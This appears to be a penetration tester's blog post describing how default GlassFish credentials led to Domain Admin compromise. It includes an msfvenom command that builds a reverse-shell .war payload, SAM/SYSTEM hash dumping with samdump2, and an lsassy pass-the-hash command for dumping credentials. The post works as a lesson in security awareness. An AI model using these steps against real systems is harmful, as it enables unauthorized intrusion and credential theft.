Domain Admin Compromise

Hi everyone; I hope you enjoyed my previous blog post on “How I obtained Admin access in 30 seconds” — so today I am bringing you another CRITICAL finding I discovered recently; which sheds some light on the importance of changing default credentials and password reuse.

— THREE HOURS OF ENUMERATION and EXPLOITATION —

First, we all love some enumeration. With a simple Nmap scan on the target(s), I identified one interesting application server called Sun GlassFish Enterprise Server.

After some investigation and research, I discovered that this application is responsible for deploying web applications within the enterprise environment. WOW. Alright, so with this information we know that this server is responsible for deploying at least some of the company’s web applications.

By using our trustee Google, we can find out that the default credential for Sun GlassFish is admin with a password of adminadmin. With this newly found information; I was able to gain admin access to the application responsible for deploying web applications within the client’s environment.

One thing that stands out to me the most is the fact that this application takes .war file; which is responsible for distributing a collection of JAR-files, JavaServer Pages, Java Servlets, Java classes, and other files that constitute a web application (Wikipedia).

You may or may not know that msfvenom can create a .war reverse HTTPS payload, and I did just that.

msfvenom -p <payload> LHOST=<IP> LPORT=443 -f war > payload.war

Once my malicious war file was created we need to upload this to the application and “deploy” it to trigger payload execution by the affected server; In the meantime, I set up a listener on my attacking machine.

Once deployed, we will get a shell back.

It is always a good practice (when you have RCE), to run the “whoami” command. This will show you what privileges you have on that system. In this case; I got very lucky.

Now that we have a NT SYSTEM privilege, we pretty much owned the system and can do whatever we like. Next step was to create a local user and add that user as a local admin; by doing so, I could RDP into the affected server using my newly created local admin account.

And there it is.

Right now; we only have one local admin account, how can we leverage this to move laterally within the network? Well, there are many ways to do this; but I went with what I thought was the easiest (it’s not mimikatz because I don’t want to start triggering alerts).

The first thing I thought of was to get a copy of the SAM and SYSTEM files and use a tool called samdump2 to obtain the NTLM hash of all the other local accounts. However, copying SAM and SYSTEM files using Windows GUI sometimes doesn’t work (did not work for me at the time).

This is where the command line comes to play; with CMD open as Administrator, I was able to enter the following commands to dump the SAM and SYSTEM files.

Once that’s done, I ex-filtrated those files to my Kali Linux and ran

samdump2 SYSTEM SAM

Which in return, gave me the hash of the Local Administrator account.

— PASSWORD REUSE IS A COMMON THING FOLKS —

Now that we have the NTLM hash of the Administrator account, what are the chances that the sysadmin reuse the same passwords for their DC and the rest of the servers within the environment?

If the other servers have an Administrator account with the same password, using a tool such as lsassy on my Kali allowed me to leverage the Administrator hash to dump lsass process for hash and plaintext passwords of other users.

lsassy <TARGETIP/RANGE> -u USER -m procdump -H <HASHVALUE> -O procdump_path=<path to procdump64.exe>

To my luck, one of the servers saved a credential of a user in plaintext; which belongs to the Domain Admins group

Once this has been completed; the next steps were to clean up artifacts and move laterally within the network and expose possibly “sensitive” files as a final attempt to show the impact of default credentials and password reuse.

Happy hacking!